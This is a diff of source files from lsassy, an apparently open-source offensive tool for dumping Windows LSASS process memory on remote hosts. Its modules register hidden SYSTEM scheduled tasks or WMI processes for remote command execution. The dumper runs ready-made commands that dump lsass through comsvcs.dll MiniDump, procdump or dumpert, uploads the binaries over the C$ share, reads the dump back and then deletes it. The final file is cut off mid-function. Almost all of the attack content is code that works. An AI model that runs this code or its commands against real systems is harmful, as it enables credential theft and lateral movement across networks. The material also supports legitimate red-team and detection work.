51 self._dce.bind(tsch.MSRPC_UUID_TSCHS)
52 xml = self.gen_xml(command)
53 logging.debug("Register random task {}".format(self._taskname))
54 tsch.hSchRpcRegisterTask(self._dce, '\\%s' % self._taskname, xml, tsch.TASK_CREATE, NULL, tsch.TASK_LOGON_NONE)
55 tsch.hSchRpcRun(self._dce, '\\%s' % self._taskname)
56 done = False
57 while not done:
58 resp = tsch.hSchRpcGetLastRunInfo(self._dce, '\\%s' % self._taskname)
59 if resp['pLastRuntime']['wYear'] != 0:
60 done = True
61 else:
62 time.sleep(2)
63
64 time.sleep(3)
65 self.clean()
66 except KeyboardInterrupt as e:
67 self.clean()
68 raise KeyboardInterrupt(e)
69 except Exception as e:
70 self.clean()
71 raise Exception(e)
72 return True
73
74 def clean(self):
75 resp = tsch.hSchRpcEnumInstances(self._dce, '\\%s' % self._taskname)
76 if len(resp['pGuids']) != 0:
77 tsch.hSchRpcStopInstance(self._dce, resp['pGuids'][0])
78 tsch.hSchRpcDelete(self._dce, '\\%s' % self._taskname)
79 self._dce.disconnect()
80 logging.debug("Task %s has been removed" % self._taskname)
81
82 def gen_xml(self, command):
83
84 return """<?xml version="1.0" encoding="UTF-16"?>
85 <Task version="1.2" xmlns="http://schemas.microsoft.com/windows/2004/02/mit/task">
86 <Triggers>
87 <TimeTrigger>
88 <StartBoundary>1989-09-17T02:20:00</StartBoundary>
89 <Enabled>true</Enabled>
90 </TimeTrigger>
91 </Triggers>
92 <Principals>
93 <Principal id="LocalSystem">
94 <UserId>S-1-5-18</UserId>
95 <RunLevel>HighestAvailable</RunLevel>
96 </Principal>
97 </Principals>
98 <Settings>
99 <MultipleInstancesPolicy>IgnoreNew</MultipleInstancesPolicy>
100 <DisallowStartIfOnBatteries>false</DisallowStartIfOnBatteries>
101 <StopIfGoingOnBatteries>false</StopIfGoingOnBatteries>
102 <AllowHardTerminate>true</AllowHardTerminate>
103 <RunOnlyIfNetworkAvailable>false</RunOnlyIfNetworkAvailable>
104 <IdleSettings>
105 <StopOnIdleEnd>true</StopOnIdleEnd>
106 <RestartOnIdle>false</RestartOnIdle>
107 </IdleSettings>
108 <AllowStartOnDemand>true</AllowStartOnDemand>
109 <Enabled>true</Enabled>
110 <Hidden>true</Hidden>
111 <RunOnlyIfIdle>false</RunOnlyIfIdle>
112 <WakeToRun>false</WakeToRun>
113 <ExecutionTimeLimit>P3D</ExecutionTimeLimit>
114 <Priority>7</Priority>
115 </Settings>
116 <Actions Context="LocalSystem">
117 <Exec>
118 <Command>cmd.exe</Command>
119 <Arguments>/C {}</Arguments>
120 </Exec>
121 </Actions>
122 </Task>
123 """.format(command)
+0
-109
lsassy/exec/taskexe.py less more
0 # Author:
1 # Romain Bentz (pixis - @hackanddo)
2 # Website:
3 # https://beta.hackndo.com [FR]
4 # https://en.hackndo.com [EN]
5
6 # Based on Impacket atexec implementation by @agsolino
7 # https://github.com/SecureAuthCorp/impacket/blob/429f97a894d35473d478cbacff5919739ae409b4/examples/atexec.py
8
9 import random
10 import string
11 import time
12
13 from impacket.dcerpc.v5 import tsch, transport
14 from impacket.dcerpc.v5.dtypes import NULL
15 from impacket.dcerpc.v5.rpcrt import RPC_C_AUTHN_GSS_NEGOTIATE
16
17
18 class TASK_EXEC:
19 def __init__(self, conn, log):
20 self._conn = conn
21 self._log = log
22
23 stringbinding = r'ncacn_np:%s[\pipe\atsvc]' % self._conn.hostname
24 self._rpctransport = transport.DCERPCTransportFactory(stringbinding)
25
26 if hasattr(self._rpctransport, 'set_credentials'):
27 self._rpctransport.set_credentials(self._conn.username, self._conn.password, self._conn.domain_name,
28 self._conn.lmhash, self._conn.nthash, self._conn.aesKey)
29 self._rpctransport.set_kerberos(self._conn.kerberos, self._conn.dc_ip)
30
31 def execute(self, commands):
32 dce = self._rpctransport.get_dce_rpc()
33
34 dce.set_credentials(*self._rpctransport.get_credentials())
35 if self._conn.kerberos:
36 dce.set_auth_type(RPC_C_AUTHN_GSS_NEGOTIATE)
37 dce.connect()
38 dce.bind(tsch.MSRPC_UUID_TSCHS)
39 xml = self.gen_xml(commands)
40 tmpName = ''.join(random.choice(string.ascii_letters + string.digits) for _ in range(8))
41 self._log.debug("Register random task {}".format(tmpName))
42 tsch.hSchRpcRegisterTask(dce, '\\%s' % tmpName, xml, tsch.TASK_CREATE, NULL, tsch.TASK_LOGON_NONE)
43 tsch.hSchRpcRun(dce, '\\%s' % tmpName)
44 done = False
45 while not done:
46 resp = tsch.hSchRpcGetLastRunInfo(dce, '\\%s' % tmpName)
47 if resp['pLastRuntime']['wYear'] != 0:
48 done = True
49 else:
50 time.sleep(2)
51
52 time.sleep(3)
53 tsch.hSchRpcDelete(dce, '\\%s' % tmpName)
54 dce.disconnect()
55
56 def gen_xml(self, commands):
57
58 return """<?xml version="1.0" encoding="UTF-16"?>
59 <Task version="1.2" xmlns="http://schemas.microsoft.com/windows/2004/02/mit/task">
60 <Triggers>
61 <CalendarTrigger>
62 <StartBoundary>2015-07-15T20:35:13.2757294</StartBoundary>
63 <Enabled>true</Enabled>
64 <ScheduleByDay>
65 <DaysInterval>1</DaysInterval>
66 </ScheduleByDay>
67 </CalendarTrigger>
68 </Triggers>
69 <Principals>
70 <Principal id="LocalSystem">
71 <UserId>S-1-5-18</UserId>
72 <RunLevel>HighestAvailable</RunLevel>
73 </Principal>
74 </Principals>
75 <Settings>
76 <MultipleInstancesPolicy>IgnoreNew</MultipleInstancesPolicy>
77 <DisallowStartIfOnBatteries>false</DisallowStartIfOnBatteries>
78 <StopIfGoingOnBatteries>false</StopIfGoingOnBatteries>
79 <AllowHardTerminate>true</AllowHardTerminate>
80 <RunOnlyIfNetworkAvailable>false</RunOnlyIfNetworkAvailable>
81 <IdleSettings>
82 <StopOnIdleEnd>true</StopOnIdleEnd>
83 <RestartOnIdle>false</RestartOnIdle>
84 </IdleSettings>
85 <AllowStartOnDemand>true</AllowStartOnDemand>
86 <Enabled>true</Enabled>
87 <Hidden>true</Hidden>
88 <RunOnlyIfIdle>false</RunOnlyIfIdle>
89 <WakeToRun>false</WakeToRun>
90 <ExecutionTimeLimit>P3D</ExecutionTimeLimit>
91 <Priority>7</Priority>
92 </Settings>
93 <Actions Context="LocalSystem">
94 {}
95 </Actions>
96 </Task>
97 """.format(self.gen_commands(commands))
98
99 def gen_commands(self, commands):
100 ret = ""
101 for command in commands:
102 ret += """
103 <Exec>
104 <Command>cmd.exe</Command>
105 <Arguments>/C {}</Arguments>
106 </Exec>""".format(command)
107
108 return ret
+89
-80
lsassy/exec/wmi.py less more
0 # Author:
1 # Romain Bentz (pixis - @hackanddo)
2 # Website:
3 # https://beta.hackndo.com [FR]
4 # https://en.hackndo.com [EN]
5
6 # Based on Impacket wmiexec implementation by @agsolino
7 # https://github.com/SecureAuthCorp/impacket/blob/429f97a894d35473d478cbacff5919739ae409b4/examples/wmiexec.py
8
9 import socket
10
11 from impacket.dcerpc.v5.dcom import wmi
12 from impacket.dcerpc.v5.dcomrt import DCOMConnection
13 from impacket.dcerpc.v5.dtypes import NULL
14
15
16 class WMI:
17 def __init__(self, connection, logger):
18 self.conn = connection
19 if not self.conn.kerberos:
20 self.conn.hostname = list({addr[-1][0] for addr in socket.getaddrinfo(self.conn.hostname, 0, 0, 0, 0)})[0]
21 self.log = logger
22 self.win32Process = None
23 self.iWbemServices = None
24 self.buffer = ""
25 self.dcom = None
26 self._getwin32process()
27
28 def _buffer_callback(self, data):
29 self.buffer += str(data)
30
31 def _getwin32process(self):
32 if self.conn.kerberos:
33 self.log.debug("Trying to authenticate using kerberos ticket")
34 else:
35 self.log.debug("Trying to authenticate using : {}\\{}:{}".format(
36 self.conn.domain_name,
37 self.conn.username,
38 self.conn.password)
39 )
40
41 try:
42 self.dcom = DCOMConnection(
43 self.conn.hostname,
44 self.conn.username,
45 self.conn.password,
46 self.conn.domain_name,
47 self.conn.lmhash,
48 self.conn.nthash,
49 self.conn.aesKey,
50 oxidResolver=True,
51 doKerberos=self.conn.kerberos,
52 kdcHost=self.conn.dc_ip
53 )
54 iInterface = self.dcom.CoCreateInstanceEx(wmi.CLSID_WbemLevel1Login, wmi.IID_IWbemLevel1Login)
55 iWbemLevel1Login = wmi.IWbemLevel1Login(iInterface)
56 self.iWbemServices = iWbemLevel1Login.NTLMLogin('//./root/cimv2', NULL, NULL)
57 iWbemLevel1Login.RemRelease()
58 self.win32Process, _ = self.iWbemServices.GetObject('Win32_Process')
59 except KeyboardInterrupt as e:
60 self.dcom.disconnect()
61 raise KeyboardInterrupt(e)
62 except Exception as e:
63 raise Exception("WMIEXEC not supported on host %s : %s" % (self.conn.hostname, e))
64
65 def execute(self, commands):
66 command = " & ".join(commands)
67 try:
68 self.win32Process.Create(command, "C:\\", None)
69 self.iWbemServices.disconnect()
70 self.dcom.disconnect()
71 except KeyboardInterrupt as e:
72 self.log.debug("WMI Execution stopped because of keyboard interruption")
73 self.iWbemServices.disconnect()
74 self.dcom.disconnect()
75 raise KeyboardInterrupt(e)
76 except Exception as e:
77 self.log.debug("Error : {}".format(e))
78 self.iWbemServices.disconnect()
79 self.dcom.disconnect()
0 # Author:
1 # Romain Bentz (pixis - @hackanddo)
2 # Website:
3 # https://beta.hackndo.com [FR]
4 # https://en.hackndo.com [EN]
5
6 # Based on Impacket wmiexec implementation by @agsolino
7 # https://github.com/SecureAuthCorp/impacket/blob/master/examples/wmiexec.py
8
9 import logging
10
11 from impacket.dcerpc.v5.dcom import wmi
12 from impacket.dcerpc.v5.dcomrt import DCOMConnection
13 from impacket.dcerpc.v5.dtypes import NULL
14
15 from lsassy.exec import IExec
16
17
18 class Exec(IExec):
19 """
20 Remote execution using WMI as provided user
21
22 This execution method does not provide debug privilege
23 """
24 debug_privilege = False
25
26 def __init__(self, session):
27 super().__init__(session)
28 self.win32Process = None
29 self.iWbemServices = None
30 self.buffer = ""
31 self.dcom = None
32
33 def _buffer_callback(self, data):
34 self.buffer += str(data)
35
36 def _getwin32process(self):
37 try:
38 self.dcom = DCOMConnection(
39 self.session.address,
40 self.session.username,
41 self.session.password,
42 self.session.domain,
43 self.session.lmhash,
44 self.session.nthash,
45 self.session.aesKey,
46 oxidResolver=True,
47 doKerberos=self.session.kerberos,
48 kdcHost=self.session.dc_ip
49 )
50 iInterface = self.dcom.CoCreateInstanceEx(wmi.CLSID_WbemLevel1Login, wmi.IID_IWbemLevel1Login)
51 iWbemLevel1Login = wmi.IWbemLevel1Login(iInterface)
52 self.iWbemServices = iWbemLevel1Login.NTLMLogin('//./root/cimv2', NULL, NULL)
53 iWbemLevel1Login.RemRelease()
54 self.win32Process, _ = self.iWbemServices.GetObject('Win32_Process')
55 except KeyboardInterrupt as e:
56 self.clean()
57 raise KeyboardInterrupt(e)
58 except Exception as e:
59 self.clean()
60 raise Exception("WMIEXEC not supported on host %s : %s" % (self.session.address, e))
61
62 def exec(self, command):
63 if not super().exec(command):
64 return False
65 try:
66 self._getwin32process()
67 self.win32Process.Create(command, "C:\\", None)
68 self.iWbemServices.disconnect()
69 self.dcom.disconnect()
70 except KeyboardInterrupt as e:
71 logging.debug("WMI Execution stopped because of keyboard interruption")
72 self.clean()
73 raise KeyboardInterrupt(e)
74 except Exception as e:
75 logging.debug("Error : {}".format(e), exc_info=True)
76 self.clean()
77 raise Exception(e)
78 return True
79
80 def clean(self):
81 try:
82 self.iWbemServices.disconnect()
83 except Exception as e:
84 pass
85 try:
86 self.dcom.disconnect()
87 except Exception as e:
88 pass⏎
+251
-0
lsassy/impacketfile.py less more
0 import logging
1 import time
2
3 from impacket.smb3structs import *
4
5
6 class ImpacketFile:
7 """
8 Remote file representation
9
10 This class uses impacket method to create a file object with usual read methods so that it looks like a local
11 file from another library point of view. Methods are
12 - open
13 - read
14 - close
15 - seek
16 - tell
17 """
18 def __init__(self, session):
19 self._session = session
20 self._share_name = None
21 self._fpath = None
22 self._currentOffset = 0
23 self._total_read = 0
24 self._tid = None
25 self._fid = None
26 self._fileInfo = None
27 self._endOfFile = None
28
29 self._opened = False
30
31 self._buffer_min_size = 1024 * 8
32 self._buffer_data = {
33 "offset": 0,
34 "size": 0,
35 "buffer": ""
36 }
37
38 def get_connection(self):
39 """
40 Method to access a private attribute
41 :return: session instance
42 """
43 return self._session
44
45 def _open_share(self):
46 try:
47 self._tid = self._session.smb_session.connectTree(self._share_name)
48 except Exception as e:
49 logging.warning("ConnectTree error with '{}'".format(self._share_name), exc_info=True)
50 return None
51 return self
52
53 @staticmethod
54 def create_file(session, share, path, file, content):
55 path = path.replace("\\", "/")
56 try:
57 share, fpath = share, path + "/" + file
58 except Exception as e:
59 logging.warning("Parsing error with '{}'".format(path), exc_info=True)
60 return None
61 try:
62 tid = session.smb_session.connectTree(share)
63 except Exception as e:
64 logging.warning("ConnectTree error with '{}'".format(share), exc_info=True)
65 return None
66
67 fid = None
68
69 try:
70 fid = session.smb_session._SMBConnection.create(tid, fpath, FILE_WRITE_DATA, FILE_SHARE_WRITE, FILE_NON_DIRECTORY_FILE, FILE_OVERWRITE_IF, 0)
71 finished = False
72 MAX_FILE_WRITE = session.smb_session._SMBConnection._Connection['MaxWriteSize']
73 rnd = 0
74 while not finished:
75 data = content[rnd*MAX_FILE_WRITE:(rnd+1)*MAX_FILE_WRITE]
76 if len(data) == 0:
77 break
78 session.smb_session._SMBConnection.write(tid, fid, data, rnd*2048, len(data))
79 rnd += 1
80 finally:
81 if fid is not None:
82 logging.debug("File {}{} created!".format(share, fpath))
83 session.smb_session._SMBConnection.close(tid, fid)
84 session.smb_session._SMBConnection.disconnectTree(tid)
85 return True
86 if tid is not None:
87 session.smb_session._SMBConnection.disconnectTree(tid)
88 return None
89
90 @staticmethod
91 def delete(session, file_path, timeout=5):
92 t = time.time()
93 while True:
94 try:
95 session.smb_session.deleteFile("C$", file_path)
96 logging.debug("File {}{} successfully deleted".format("C$", file_path))
97 return True
98 except BrokenPipeError:
99 if time.time() - t > timeout:
100 logging.warning("File wasn't removed `{}{}`, connection lost".format("C$", file_path),
101 exc_info=True)
102 return None
103 logging.debug("Trying to reconnect ...")
104 if session.login():
105 logging.success("Reconnected after unexpected disconnection for proper cleanup")
106 except Exception as e:
107 if "STATUS_OBJECT_NAME_NOT_FOUND" in str(e) or "STATUS_NO_SUCH_FILE" in str(e):
108 return True
109 if time.time() - t > timeout:
110 logging.warning("File wasn't removed `{}{}`".format("C$", file_path), exc_info=True)
111 return None
112 logging.debug("Unable to delete file `{}{}`. Retrying...".format("C$", file_path))
113 time.sleep(0.5)
114
115 def open(self, share, path, file, timeout=3):
116 """
117 Open remote file
118 :param share: Share location of the remote file
119 :param path: Path of the remote file on provided share
120 :param file: Remote filename
121 :param timeout: Timeout if file access hangs
122 :return: instance of this class
123 """
124 path = path.replace("\\", "/")
125 try:
126 self._share_name, self._fpath = share, path + "/" + file
127 except Exception as e:
128 logging.warning("Parsing error with '{}'".format(path), exc_info=True)
129 return None
130
131 if self._open_share() is None:
132 return None
133
134 t = time.time()
135 while True:
136 try:
137 self._fid = self._session.smb_session.openFile(self._tid, self._fpath)
138 logging.info("{} handle acquired".format(self._fpath))
139 break
140 except Exception as e:
141 if time.time() - t > timeout:
142 logging.warning("Unable to open remote file {}".format( self._fpath), exc_info=True)
143 return None
144 logging.debug("Unable to open remote file {}. Retrying...".format(self._fpath))
145 time.sleep(0.5)
146
147 self._fileInfo = self._session.smb_session.queryInfo(self._tid, self._fid)
148 self._endOfFile = self._fileInfo.fields["EndOfFile"]
149 self._opened = True
150 return self
151
152 def read(self, size):
153 """
154 Read an amount of bytes on the remote file
155
156 This method uses some caching mechanisms to increase reading speed
157 :param size: Number of bytes to read
158 :return: Buffer containing file's content
159 """
160 if size == 0:
161 return b''
162
163 if (self._buffer_data["offset"] <= self._currentOffset <= self._buffer_data["offset"] + self._buffer_data[
164 "size"]
165 and self._buffer_data["offset"] + self._buffer_data["size"] > self._currentOffset + size):
166 value = self._buffer_data["buffer"][
167 self._currentOffset - self._buffer_data["offset"]:self._currentOffset - self._buffer_data[
168 "offset"] + size]
169 else:
170 self._buffer_data["offset"] = self._currentOffset
171
172 """
173 If data size is too small, read self._buffer_min_size bytes and cache them
174 """
175 if size < self._buffer_min_size:
176 value = self._session.smb_session.readFile(self._tid, self._fid, self._currentOffset, self._buffer_min_size)
177 self._buffer_data["size"] = self._buffer_min_size
178 self._total_read += self._buffer_min_size
179
180 else:
181 value = self._session.smb_session.readFile(self._tid, self._fid, self._currentOffset, size + self._buffer_min_size)
182 while len(value) < size+self._buffer_min_size and self._currentOffset + len(value) < self._endOfFile:
183 value += self._session.smb_session.readFile(self._tid, self._fid, self._currentOffset + len(value), size + self._buffer_min_size - len(value))
184 self._buffer_data["size"] = size + self._buffer_min_size
185 self._total_read += size
186
187 self._buffer_data["buffer"] = value
188
189 self._currentOffset += size
190
191 return value[:size]
192
193 def close(self):
194 """
195 Close handle to remote file
196 """
197 if self._opened:
198 self._session.smb_session.closeFile(self._tid, self._fid)
199 self._session.smb_session.disconnectTree(self._tid)
200 self._opened = False
201
202 def seek(self, offset, whence=0):
203 """
204 Seek a certain byte on the remote file
205 :param offset: Offset on the remote file
206 :param whence: 0 if absolute offset, 1 if relative offset, 2 if relative to the end of file
207 """
208 if whence == 0:
209 self._currentOffset = offset
210 elif whence == 1:
211 self._currentOffset += offset
212 elif whence == 2:
213 self._currentOffset = self._endOfFile - offset
214 else:
215 raise Exception('Seek function whence value must be between 0-2')
216
217 def tell(self):
218 """
219 Get current offset
220 :return: Current offset
221 """
222 return self._currentOffset
223
224 def size(self):
225 """
226 Get remote file size
227 :return: Remote file size
228 """
229 return self._endOfFile
230
231 def get_path(self):
232 """
233 Get remote file path
234 :return: Remote file path (share, path)
235 """
236 return self._share_name, self._fpath
237
238 def get_file_path(self):
239 """
240 Get relative file path
241 :return: Relative file path
242 """
243 return self._fpath
244
245 def get_session(self):
246 """
247 Get current session
248 :return: Current session
249 """
250 return self._session
+56
-0
lsassy/logger.py less more
0 import logging
1 import sys
2
3
4 class LsassyFormatter(logging.Formatter):
5 """
6 Custom formatting. Inspired by impacket "Logger" class
7 """
8
9 def __init__(self):
10 logging.Formatter.__init__(self, '%(bullet)s %(threadName)s %(message)s', None)
11
12 def format(self, record):
13 """
14 Custom bullet formatting with colors
15 :param record: Record to log
16 """
17 if record.levelno == logging.INFO:
18 record.bullet = '\033[1;34m[*]\033[0m'
19 elif record.levelno == logging.DEBUG:
20 record.bullet = '\033[1;37m[*]\033[0m'
21 elif record.levelno == logging.WARNING:
22 record.bullet = '\033[1;33m[!]\033[0m'
23 elif record.levelno == logging.ERROR:
24 record.bullet = '\033[1;31m[x]\033[0m'
25 else:
26 record.bullet = '\033[1;32m[+]\033[0m'
27
28 # Only log stacktrace when log level is DEBUG
29 if record.exc_info and logging.getLogger().getEffectiveLevel() != logging.DEBUG:
30 record.exc_info = None
31
32 return logging.Formatter.format(self, record)
33
34
35 def highlight(msg):
36 """
37 Highlight in yellow provided message
38 :param msg: Message to highlight
39 :return: Highlighted message
40 """
41 return "\033[1;33m{}\033[0m".format(msg)
42
43
44 def init(quiet=False):
45 """
46 StreamHandler and formatter added to root logger
47 """
48 handler = logging.StreamHandler(sys.stdout)
49 handler.setFormatter(LsassyFormatter())
50 logging.getLogger().addHandler(handler)
51 logging.getLogger().setLevel(logging.INFO)
52
53 logging.addLevelName(25, 'SUCCESS')
54 setattr(logging, 'success', lambda message, *args: logging.getLogger()._log(25, message, args))
55 logging.getLogger().disabled = quiet
+0
-5
lsassy/modules/__init__.py less more
0 # Author:
1 # Romain Bentz (pixis - @hackanddo)
2 # Website:
3 # https://beta.hackndo.com
4
+0
-316
lsassy/modules/dumper.py less more
0 # Author:
1 # Romain Bentz (pixis - @hackanddo)
2 # Website:
3 # https://beta.hackndo.com [FR]
4 # https://en.hackndo.com [EN]
5
6 import random
7 import string
8
9 from lsassy.modules.impacketfile import ImpacketFile
10 from lsassy.exec.taskexe import TASK_EXEC
11 from lsassy.exec.wmi import WMI
12 from lsassy.utils.utils import *
13
14
15 class Dumper:
16
17 class Options:
18 def __init__(self, tmp_dir="\\Windows\\Temp\\", share="C$", dumpname=None, procdump="procdump.exe", dumpert="dumpert.exe", procdump_path=None, dumpert_path=None, method=1, timeout=10):
19 self.tmp_dir = tmp_dir
20 self.share = share
21 self.dumpname = dumpname
22 self.procdump = procdump
23 self.dumpert = dumpert
24 self.procdump_path = procdump_path
25 self.dumpert_path = dumpert_path
26 self.method = method
27 self.timeout = timeout
28
29 def __init__(self, connection, options=Options()):
30 self._log = connection.get_logger()
31 self._tmp_dir = options.tmp_dir
32 self._share = options.share
33 self._procdump = options.procdump
34 self._dumpert = options.dumpert
35 self._procdump_path = options.procdump_path
36 self._dumpert_path = options.dumpert_path
37 self._method = options.method
38 self._timeout = options.timeout
39
40 if options.dumpname:
41 self._remote_lsass_dump = options.dumpname
42 if "." not in self._remote_lsass_dump:
43 self._remote_lsass_dump += ".dmp"
44 else:
45 self._remote_lsass_dump = ''.join(random.choice(string.ascii_letters + string.digits) for _ in range(8)) + ".dmp"
46
47 self._conn = connection
48 self._ifile = None
49
50 self._exec_methods = {"wmi": WMI, "task": TASK_EXEC}
51 self._use_procdump = False
52 self._use_dumpert = False
53
54 def getfile(self):
55 if isinstance(self._ifile, ImpacketFile):
56 return self._ifile
57 return RetCode(ERROR_UNDEFINED, Exception("Trying to return an object which is not an Impacket file"))
58
59 def close(self):
60 if isinstance(self._ifile, ImpacketFile):
61 self._ifile.close()
62 return RetCode(ERROR_SUCCESS)
63 return RetCode(ERROR_UNDEFINED, Exception("Trying to close an object which is not an Impacket file"))
64
65 def dump(self):
66 """
67 Dump lsass on remote host. Different methods can be used.
68 If you chose to dump lsass using built-in comsvcs.dll method, you need SeDebugPrivilege. This privilege
69 is either in Powershell admin context, or cmd.exe SYSTEM context.
70 Two execution methods can be used.
71 1. WMIExec with cmd.exe (no SeDebugPrivilege) or powershell.exe (SeDebugPrivilege)
72 2. ScheduledTask which is SYSTEM context (SeDebugPrivilege).
73 These constraints lead to different possibilities. By default, comsvcs.dll method will be used and will try
74 Powershell with WMI, Powershell with scheduled task, and cmd.exe with scheduled task
75 """
76
77 """
78 A "methodology can be described in an array of 3 elements:
79 1. 1st element : Dump method to use (dll, procdump, dumpert)
80 2. Shell context to use (powershell, cmd)
81 3. List of remote execution methods (wmi, task)
82 """
83 if self._method == 0:
84 dump_methodologies = [
85 ["dll", "powershell", ("wmi", "task")],
86 ["dll", "cmd", ("task",)],
87 ["procdump", "cmd", ("wmi", "task")],
88 ["dumpert", "cmd", ("wmi", "task")]
89 ]
90 elif self._method == 1:
91 dump_methodologies = [
92 ["dll", "powershell", ("wmi", "task")],
93 ["dll", "cmd", ("task",)]
94 ]
95 elif self._method == 2:
96 dump_methodologies = [
97 ["procdump", "cmd", ("wmi", "task")]
98 ]
99 elif self._method == 3:
100 dump_methodologies = [
101 ["dll", "powershell", ("wmi", "task")]
102 ]
103 elif self._method == 4:
104 dump_methodologies = [
105 ["dll", "cmd", ("task",)]
106 ]
107 elif self._method == 5:
108 dump_methodologies = [
109 ["dumpert", "cmd", ("wmi", "task")]
110 ]
111 else:
112 self._log.debug("Method \"{}\" is not supported (0-5). See -h for help".format(self._method))
113 return RetCode(ERROR_METHOD_NOT_SUPPORTED)
114
115 ifile = ImpacketFile(self._conn, self._log)
116 for dump_methodology in dump_methodologies:
117 dump_method, exec_shell, exec_methods = dump_methodology
118 self._log.debug("Trying \"{}\" method".format(dump_method))
119 if dump_method == "dll":
120 dumped = self.dll_dump(exec_methods, exec_shell)
121 elif dump_method == "procdump":
122 dumped = self.procdump_dump(exec_methods)
123 elif dump_method == "dumpert":
124 dumped = self.dumpert_dump(exec_methods)
125 else:
126 continue
127 if dumped.success():
128 """
129 If procdump failed, a dumpfile was created, and its content is "FAILED"
130 Best guess is that lsass is protected in some way (PPL, AV, ...)
131 """
132 ret = ifile.open(
133 (self._share + self._tmp_dir + self._remote_lsass_dump).replace("\\", "/"),
134 timeout=self._timeout
135 )
136 if isinstance(ret, ImpacketFile):
137 if ifile.size() == 0 or (ifile.size() < 100 and ifile.read(6).decode('utf-8') == "FAILED"):
138 ifile.close()
139 return RetCode(ERROR_LSASS_PROTECTED)
140 ifile.seek(0)
141 self._ifile = ifile
142 return RetCode(ERROR_SUCCESS)
143 else:
144 self._log.warn("No dump file found with \"{}\" using \"{}\" exec method.".format(dump_method, exec_shell))
145
146 """
147 If no dump file was found, it means that procdump didn't crash, so it may take more time than expected.
148 """
149 return RetCode(ERROR_SLOW_TARGET)
150
151 def dll_dump(self, exec_methods=("wmi", "task"), exec_shell="cmd"):
152 if exec_shell == "cmd":
153 commands = [
154 """cmd.exe /Q /c for /f "tokens=1,2 delims= " ^%A in ('"tasklist /fi "Imagename eq lsass.exe" | find "lsass""') do C:\\Windows\\System32\\rundll32.exe C:\\windows\\System32\\comsvcs.dll, MiniDump ^%B {}{} full""".format(
155 self._tmp_dir, self._remote_lsass_dump
156 ),
157 ]
158 elif exec_shell == "powershell":
159 commands = [
160 'powershell.exe -NoP -C "C:\\Windows\\System32\\rundll32.exe C:\\Windows\\System32\\comsvcs.dll, MiniDump (Get-Process lsass).Id {}{} full;Wait-Process -Id (Get-Process rundll32).id"'.format(
161 self._tmp_dir, self._remote_lsass_dump
162 ),
163 ]
164 else:
165 return RetCode(ERROR_METHOD_NOT_SUPPORTED)
166
167 self._log.debug("Commands : ")
168 for command in commands:
169 self._log.debug("{}".format(command))
170
171 for exec_method in exec_methods:
172 try:
173 self._log.debug("Trying exec method : \"{}\"".format(exec_method))
174 self._exec_methods[exec_method](self._conn, self._log).execute(commands)
175 self._log.debug("Exec method \"{}\" success !".format(exec_method))
176 return RetCode(ERROR_SUCCESS)
177 except Exception as e:
178 self._log.warn("Exec method \"{}\" failed.".format(exec_method))
179 self._log.debug('Error : {}'.format(e))
180 return RetCode(ERROR_DLL_NO_EXECUTE)
181
182 def procdump_dump(self, exec_methods=("wmi", "task")):
183 """
184 Dump lsass with procdump
185 :param exec_methods: If set, it will use specified execution method. Default to WMI, then TASK
186 """
187 if not self._procdump_path:
188 self._log.warn("Procdump path has not been provided")
189 return RetCode(ERROR_PROCDUMP_NOT_PROVIDED)
190 # Verify procdump exists on host
191 if not os.path.exists(self._procdump_path):
192 self._log.warn("{} does not exist.".format(self._procdump_path))
193 return RetCode(ERROR_PROCDUMP_NOT_FOUND)
194
195 # Upload procdump
196 self._log.debug('Copy {} to {}'.format(self._procdump_path, self._tmp_dir))
197 with open(self._procdump_path, 'rb') as procdump:
198 try:
199 self._conn.putFile(self._share, self._tmp_dir + self._procdump, procdump.read)
200 except Exception as e:
201 return RetCode(ERROR_PROCDUMP_NOT_UPLOADED)
202 self._use_procdump = True
203
204 # Dump lsass using PID
205 commands = [
206 """cmd.exe /Q /c for /f "tokens=2 delims= " %J in ('"tasklist /fi "Imagename eq lsass.exe" | find "lsass""') do {}{} -accepteula -o -ma %J {}{}""".format(
207 self._tmp_dir, self._procdump,
208 self._tmp_dir, self._remote_lsass_dump
209 ),
210 "for %A in ({}{}) do IF NOT EXIST %A ( echo FAILED > %A ) ELSE IF %~zA==0 ( echo FAILED > %A )".format(
211 self._tmp_dir, self._remote_lsass_dump
212 )]
213
214 self._log.debug("Commands : ")
215 for command in commands:
216 self._log.debug("{}".format(command))
217
218 for exec_method in exec_methods:
219 try:
220 self._log.debug("Trying exec method : " + exec_method)
221 self._exec_methods[exec_method](self._conn, self._log).execute(commands)
222 self._log.debug("Exec method \"{}\" success !".format(exec_method))
223 return RetCode(ERROR_SUCCESS)
224 except Exception as e:
225 self._log.warn("Exec method \"{}\" failed.".format(exec_method))
226 self._log.debug("Error : {}".format(str(e)))
227 return RetCode(ERROR_PROCDUMP_NO_EXECUTE)
228
229 def dumpert_dump(self, exec_methods=("wmi", "task")):
230 """
231 Dump lsass with dumpert
232 :param exec_methods: If set, it will use specified execution method. Default to WMI, then TASK
233 """
234 if not self._dumpert_path:
235 self._log.warn("dumpert path has not been provided")
236 return RetCode(ERROR_DUMPERT_NOT_PROVIDED)
237 # Verify dumpert exists on host
238 if not os.path.exists(self._dumpert_path):
239 self._log.warn("{} does not exist.".format(self._dumpert_path))
240 return RetCode(ERROR_DUMPERT_NOT_FOUND)
241
242 # Upload dumpert
243 self._log.debug('Copy {} to {}'.format(self._dumpert_path, self._tmp_dir))
244 with open(self._dumpert_path, 'rb') as dumpert:
245 try:
246 self._conn.putFile(self._share, self._tmp_dir + self._dumpert, dumpert.read)
247 except Exception as e:
248 return RetCode(ERROR_DUMPERT_NOT_UPLOADED)
249 self._use_dumpert = True
250 self._remote_lsass_dump = "dumpert.dmp"
251 # Dump lsass using PID
252 commands = [
253 """cmd.exe /Q /c {}{}""".format(
254 self._tmp_dir, self._dumpert
255 ),
256 "for %A in ({}{}) do IF NOT EXIST %A ( echo FAILED > %A ) ELSE IF %~zA==0 ( echo FAILED > %A )".format(
257 self._tmp_dir, self._remote_lsass_dump
258 )]
259
260 for command in commands:
261 self._log.debug("{}".format(command))
262
263 for exec_method in exec_methods:
264 try:
265 self._log.debug("Trying exec method : " + exec_method)
266 self._exec_methods[exec_method](self._conn, self._log).execute(commands)
267 self._log.debug("Exec method \"{}\" success !".format(exec_method))
268 return RetCode(ERROR_SUCCESS)
269 except Exception as e:
270 self._log.warn("Exec method \"{}\" failed.".format(exec_method))
271 self._log.debug("Error : {}".format(str(e)))
272 return RetCode(ERROR_DUMPERT_NO_EXECUTE)
273
274 def clean(self):
275 try:
276 self._ifile.close()
277 except Exception as e:
278 pass
279
280 try:
281 self._conn.deleteFile(self._share, self._tmp_dir + self._remote_lsass_dump)
282
283 except Exception as e:
